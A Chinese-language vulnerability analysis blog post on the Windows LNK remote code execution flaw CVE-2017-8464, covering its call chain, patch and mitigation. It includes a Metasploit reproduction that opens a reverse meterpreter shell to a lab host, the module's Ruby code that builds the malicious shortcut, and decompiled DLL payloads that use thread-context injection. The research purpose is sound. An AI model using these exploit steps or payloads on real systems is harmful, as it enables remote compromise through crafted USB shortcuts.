启程

沉默地喊叫沉默地喊叫 孤单开始发酵 不停对着我嘲笑
回忆逐渐延烧 曾经纯真的画面 残忍地温柔出现
脆弱时间到 我们一起来祷告

0 相关信息

# CVE-2017-8464/MS17-013
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8464
# Windows Shell in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, 
# Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, 
# Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 
# allows local users or remote attackers to execute arbitrary code via a crafted .LNK file, 
# which is not properly handled during icon display in Windows Explorer or 
# any other application that parses the icon of the shortcut. 
# aka "LNK Remote Code Execution Vulnerability."

1 漏洞复现

# 环境
> systeminfo
OS 名称:          Microsoft Windows 7 旗舰版 
OS 版本:          6.1.7601 Service Pack 1 Build 7601
系统类型:         X86-based PC

本次我们使用Metasploit进行漏洞测试。

msf > use exploit/windows/fileformat/cve_2017_8464_lnk_rce
msf exploit(windows/fileformat/cve_2017_8464_lnk_rce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/fileformat/cve_2017_8464_lnk_rce) > set LHOST 172.16.56.1
LHOST => 172.16.56.1
msf exploit(windows/fileformat/cve_2017_8464_lnk_rce) > exploit

[*] /Users/rambo/.msf4/local/FlashPlayerCPLApp.cpl created, copy it to the root folder of the target USB drive
[*] /Users/rambo/.msf4/local/FlashPlayer_D.lnk created, copy to the target USB drive
[*] /Users/rambo/.msf4/local/FlashPlayer_E.lnk created, copy to the target USB drive
...
[*] /Users/rambo/.msf4/local/FlashPlayer_Z.lnk created, copy to the target USB drive

将生成的lnk和cpl复制到目标机器上(exploit产生了D到Z不同的lnk文件,适用于不知道绝对路径的U盘攻击场景);设置反向shell的监听;然后在目标机器上浏览复制过去的目录。

目标上线:

[*] Started reverse TCP handler on 172.16.56.1:4444
[*] Sending stage (179779 bytes) to 172.16.56.159
[*] Meterpreter session 1 opened (172.16.56.1:4444 -> 172.16.56.159:49314) at 2018-11-23 13:23:59 +0800

meterpreter > getpid
Current pid: 2820

meterpreter > ps
...
2820  1588  rundll32.exe          x86   1        WIN-J7CB6NT7B29\rambo  C:\Windows\system32\rundll32.exe

windows/exec弹出计算器:

2 漏洞分析

漏洞概述:与CVE-2010-2568类似,Windows在解析LNK文件中的ExtraData时同样会调用LoadLibrary加载CPL文件,但是没有做合法性校验。下面进行深入分析。

主要参考Windows Lnk Vul Analysis:From CVE-2010-2568(Stuxnet 1.0) to CVE-2017-8464(Stuxnet 3.0)CVE-2017-8464 LNK 漏洞分析及 POC 关键部分,第一篇来自启明星辰,它的特点是采用正向思路,直接分析lnk文件的解析流程。另外,ITW 0day:LNK远程代码执行漏洞(CVE-2017-8464)的简要分析是一篇难得的文章,作者在文中通过补丁对比的方式来追溯这个漏洞,其中的思路很清晰,非常值得学习。

这里我们分析来自Metasploit的ExP:exploit/windows/fileformat/cve_2017_8464_lnk_rce。采用老办法,OD附加,然后在LoadLibraryWunicode[[esp+4]]=="E:\\FlashPlayerCPLApp.cpl"的条件断点,打开E盘触发漏洞,中断,查看函数调用栈,将栈中的函数地址与IDA中的函数名进行匹配,得到以下调用链:

call    ds:__imp__LoadLibraryW@
.text:738D72DB ; const struct CPLMODULE *__stdcall CPL_LoadCPLModule
.text:73AF2403 ; __int32 __thiscall CControlPanelFolder::_GetPidlFromAppletId
.text:73AF269D ; __int32 __stdcall CControlPanelFolder::ParseDisplayName
.text:73887A98 ; __int32 __stdcall CRegFolder::ParseDisplayName
.text:7388F124 ; __stdcall ReparseRelativeIDList
.text:738907B6 ; struct _ITEMIDLIST_ABSOLUTE *__stdcall TranslateAliasWithEvent
.text:73890870 ; struct _ITEMIDLIST_ABSOLUTE *__stdcall TranslateAlias
.text:7385E853 ; void __thiscall CShellLink::_DecodeSpecialFolder
.text:7385E461 ; __int32 __thiscall CShellLink::_LoadFromStream
.text:7381C9CE ; __int32 __thiscall CShellLink::_LoadFromFile
.text:7381C98F ; __int32 __stdcall CShellLink::Load

整个过程与启明星辰的正面分析结果相符。

构造的ExP如下:

图中的红蓝绿部分分别是LinkTargetIDList的Size和IDList[0]、IDList[1]。在第一篇文章中已经讲过,这里不再赘述。粉色部分正是ExtraData。参考微软资料ExtraData2.5.9 SpecialFolderDataBlock可知,粉色部分含义如下:

BlockSize (4 bytes): A 32-bit, unsigned integer that specifies the size of the SpecialFolderDataBlock structure. This value MUST be 0x00000010.
BlockSignature (4 bytes): A 32-bit, unsigned integer that specifies the signature of the SpecialFolderDataBlock extra data section. This value MUST be 0xA0000005.
SpecialFolderID (4 bytes): A 32-bit, unsigned integer that specifies the folder integer ID.
Offset (4 bytes): A 32-bit, unsigned integer that specifies the location of the ItemID of the first child segment of the IDList specified by SpecialFolderID. This value is the offset, in bytes, into the link target IDList.

需要注意的是,Offset代表IDList[1]在LinkTargetIDList数组中的偏移,ItemID[0]的大小为0x14,所以这里Offset填0x14。结尾跟着一个Terminal Block。

故事要从CShellLink::_DecodeSpecialFolder讲起。流程比较清楚,可以看下面的反编译代码:

void __thiscall CShellLink::_DecodeSpecialFolder(CShellLink *this)
{
  // ...
  v21 = 0;
  v1 = this;
  v2 = SHFindDataBlock(*((_DWORD *)this + 57), 0xA000000B);
  v3 = v2;
  if ( v2 ) { // 判断是否存在KnownFolderDataBlock
    // ...
  }
  else{
    v17 = SHFindDataBlock(*((_DWORD *)v1 + 57), 0xA0000005);
    v18 = v17;
    if ( !v17 ) // 判断是否存在SpecialFolderDataBlock
      goto LABEL_19;
    v21 = SHCloneSpecialIDList(0, *(_DWORD *)(v17 + 8), 0);
    v6 = *(_DWORD *)(v18 + 12); // 取出Offset的值
    v5 = v21 != 0 ? 0 : 0x8007000E;
  }
  if ( v5 >= 0 ){
    v7 = (char *)*((_DWORD *)v1 + 47);
    v8 = (unsigned int)&v7[v6]; // 利用前面取出的Offset获得IDList[1]的偏移
    pidl = (const struct _ITEMIDLIST_RELATIVE *)*((_DWORD *)v1 + 47);
    for ( i = ILIsEmpty(*((const struct _ITEMIDLIST_RELATIVE **)v1 + 47)); !i; i = ILIsEmpty(pidl) ){
      v10 = pidl == (const struct _ITEMIDLIST_RELATIVE *)v8;
      if ( (unsigned int)pidl >= v8 )
        goto LABEL_12;
      pidl = (const struct _ITEMIDLIST_RELATIVE *)((char *)pidl + *(_WORD *)pidl);
    }
    v10 = pidl == (const struct _ITEMIDLIST_RELATIVE *)v8;
LABEL_12:
    if ( v10 ){
      v11 = (const ITEMIDLIST *)ILCloneUpTo(v7, v8);
      pidla = (ITEMIDLIST *)v11;
      if ( v11 ){ // 进入下一环节
        v12 = (ITEMIDLIST *)TranslateAlias(*((LPCITEMIDLIST *)v1 + 47), v11, v21); 
        // ...
      }
    }
  }
LABEL_19:
  ILFree(v21);
}

在进入TranslateAlias后,就会按照我们前面给出的调用栈,最终走到CControlPanelFolder::_GetPidlFromAppletId,从而调用CPL_LoadCPLModule

这里,我们也可以称其为一路高歌猛进地去加载dll了。

3 ExP

借助MSF模块源码,我们能够学习到这类文件形式的ExP的构造方式,同时能够更深刻地理解LNK文件格式。

  def generate_link(path)
    vprint_status("Generating LNK file to load: #{path}")
    path << "\x00"
    display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name
    comment = datastore['LnkComment'].dup << "\x00"
    # Control Panel Applet ItemID with our DLL
    cpl_applet = [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00
    ].pack('C*')
    cpl_applet << [path.length].pack('v')
    cpl_applet << [display_name.length].pack('v')
    cpl_applet << path.unpack('C*').pack('v*')
    cpl_applet << display_name.unpack('C*').pack('v*')
    cpl_applet << comment.unpack('C*').pack('v*')

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
      0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
      0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
      0x00, 0x00, 0x00, 0x00, # FileAttributes
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
      0x00, 0x00, 0x00, 0x00, # FileSize
      0x00, 0x00, 0x00, 0x00, # IconIndex
      0x00, 0x00, 0x00, 0x00, # ShowCommand
      0x00, 0x00, # HotKey
      0x00, 0x00, # Reserved1
      0x00, 0x00, 0x00, 0x00, # Reserved2
      0x00, 0x00, 0x00, 0x00  # Reserved3
    ].pack('C*')

    # IDList
    idlist_data = ''
    # ItemID = ItemIDSize (2 bytes) + Data (variable)
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      # All Control Panel Items
      0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    # ItemID = ItemIDSize (2 bytes) + Data (variable)
    idlist_data << [cpl_applet.length + 2].pack('v')
    idlist_data << cpl_applet
    idlist_data << [0x00].pack('v') # TerminalID

    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data

    # ExtraData
    # SpecialFolderDataBlock
    ret << [
      0x10, 0x00, 0x00, 0x00, # BlockSize
      0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
      0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
      0x14, 0x00, 0x00, 0x00  # Offset in LinkTargetIDList
    ].pack('C*')
    # TerminalBlock
    ret << [0x00, 0x00, 0x00, 0x00].pack('V')
    ret
  end

4 应对方案

临时应对方案就是修改注册表去禁止系统加载快捷方式的图标。

5 补丁分析

漏洞实质与CVE-2010-2568几乎一样,所以补丁也基本是一样的:在CControlPanelFolder::_GetPidlFromAppletIdCPL_LoadCPLModule被调用前添加了_IsRegisteredCPLApplet起到白名单的作用。当然,这里不会发生与之前同样的补丁绕过问题,因为这个漏洞是在CVE-2015-0096之后被发现的。

6 崩溃分析

在研究CVE-2010-2568时,漏洞触发后往往会导致应用程序崩溃。但上面的“漏洞复现”却没有引发崩溃——在meterpreter session建立后,窗口没有任何异常,可以正常浏览和关闭。结合Windows Lnk远程代码执行漏洞CVE-2017-8464利用测试,我做了一个小实验,来研究崩溃问题。

实验思路:使用三个不同来源的能够弹计算器的dll作为payload,分别在XP下测试CVE-2010-2568在Win7下测试CVE-2017-8464,比较实验结果。

另外有一些细节需要注明:

  • 在都不崩溃的情况下,Win7每次打开文件窗口都会触发漏洞而无需其他额外操作;XP第一次会触发漏洞,关闭窗口后再次打开则不再触发,需要进行重命名等操作才会重新触发,在一些情况下即使重命名也不会再次触发,需要手动结束、重启explorer.exe进程会触发
  • 上述文件在测试CVE-2010-2568时,全部更名为DLL.DLL;在测试CVE-2017-8464时,全部更名为FlashPlayerCPLApp.cpl
  • 测试用XP和Win7均为32位系统

我们选择calc.DLL与DLL.DLL进行对比研究。

calc.DLL的反编译结果如下:

BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
  if ( fdwReason == 1 )
    WinExec(CmdLine, 1u);
  return 1;
}

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  int v3; // esi
  bool v4; // zf
  BOOL v6; // eax
  DWORD fdwReasona; // [esp+18h] [ebp+Ch]

  v3 = fdwReason;
  if ( fdwReason )
  {
    if ( fdwReason != 1 && fdwReason != 2 )
      goto LABEL_10;
    if ( dword_1000302C && !dword_1000302C(hinstDLL, fdwReason, lpReserved) )
      return 0;
    v4 = _CRT_INIT((int)hinstDLL, fdwReason, (int)lpReserved) == 0;
  }
  else
  {
    v4 = dword_1000301C == 0;
  }
  if ( v4 )
    return 0;
LABEL_10:
  v6 = DllMain(hinstDLL, fdwReason, lpReserved);
  fdwReasona = v6;
  if ( v3 != 1 )
  {
LABEL_13:
    if ( !v3 || v3 == 3 )
    {
      if ( !_CRT_INIT((int)hinstDLL, v3, (int)lpReserved) )
        fdwReasona = 0;
      if ( fdwReasona )
      {
        if ( dword_1000302C )
          fdwReasona = dword_1000302C(hinstDLL, v3, lpReserved);
      }
    }
    return fdwReasona;
  }
  if ( !v6 )
  {
    _CRT_INIT((int)hinstDLL, 0, (int)lpReserved);
    goto LABEL_13;
  }
  return fdwReasona;
}

DLL.DLL的反编译结果如下:

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  if ( fdwReason == 1 )
    sub_10001050();
  return 1;
}

void __noreturn sub_10001050()
{
  CONTEXT Context; // [esp+0h] [ebp-324h]
  struct _STARTUPINFOA StartupInfo; // [esp+2CCh] [ebp-58h]
  struct _PROCESS_INFORMATION ProcessInformation; // [esp+310h] [ebp-14h]
  LPVOID lpBaseAddress; // [esp+320h] [ebp-4h]

  ZeroMemory(&StartupInfo, 'D');
  StartupInfo.cb = 68;
  // CommandLine is 'rundll32.exe'
  if ( CreateProcessA(0, CommandLine, 0, 0, 0, 'D', 0, 0, &StartupInfo, &ProcessInformation) )
  {
    Context.ContextFlags = 65539;
    GetThreadContext(ProcessInformation.hThread, &Context);
    lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);
    WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &unk_10003000, 0x800u, 0);
    Context.Eip = (DWORD)lpBaseAddress;
    SetThreadContext(ProcessInformation.hThread, &Context);
    ResumeThread(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hThread);
    CloseHandle(ProcessInformation.hProcess);
  }
  ExitThread(0);
}

calc.DLL是一种标准正常的dll;而DLL.DLL则不然。它启动一个正常rundll32.exe进程,然后做线程注入,并控制线程上下文的EIP转去运行注入指令。关于DLL注入网上有很多文章,未来我再去系统地研究这方面内容。

目前我还不清楚崩溃的原因。相比之下,FlashPlayerCPLApp.cpl也采用了线程注入的方法,但是却比DLL.DLL代码多不少。推测崩溃是由于执行前没有保存好EIP,执行payload后无法正常将控制流交还给宿主进程导致的。

还有一个问题,为什么calc.DLL会导致重复弹窗?


另外,一开始我以为是生成Payload时EXITFUNC参数设置不正确的问题,经过试验,发现与其无关。不过也因此补充了一些关于EXITFUNC的知识,摘录如下:

There are 4 different values for EXITFUNC: none, seh, thread and process. Usually it is set to thread or process, which corresponds to the ExitThread or ExitProcess calls. “none” technique will calls GetLastError, effectively a no-op. The thread will then continue executing, allowing you to simply cat multiple payloads together to be run in serial.
EXITFUNC will be useful in some cases where after you exploited a box, you need a clean exit, even unfortunately the biggest problem is that many payloads don’t have a clean execution path after the exitfunc.

SEH: This method should be used when there is a structured exception handler (SEH) that will restart the thread or process automatically when an error occurs.
THREAD: This method is used in most exploitation scenarios where the exploited process (e.g. IE) runs the shellcode in a sub-thread and exiting this thread results in a working application/system (clean exit).
PROCESS: This method should be used with multi/handler. This method should also be used with any exploit where a master process restarts it on exit.

总结

从这一个系列的分析中,我们可以总结一下这类漏洞的分析研究思路:

  1. 补丁对比
  2. 静态分析&动态调试

值得注意的是,静态分析&动态调试这种方法在逆向分析C++对象或者像Linux内核那样使用了大量的“结构体+函数指针”形式实现面向对象的程序时非常有帮助。当对象通过虚表去调用函数时,在静态分析中我们无法得到这个确切地址,而在动态调试中可以跟到地址,却不知道对应的函数名。两者结合起来便可以很好地解决这个问题。

其他参考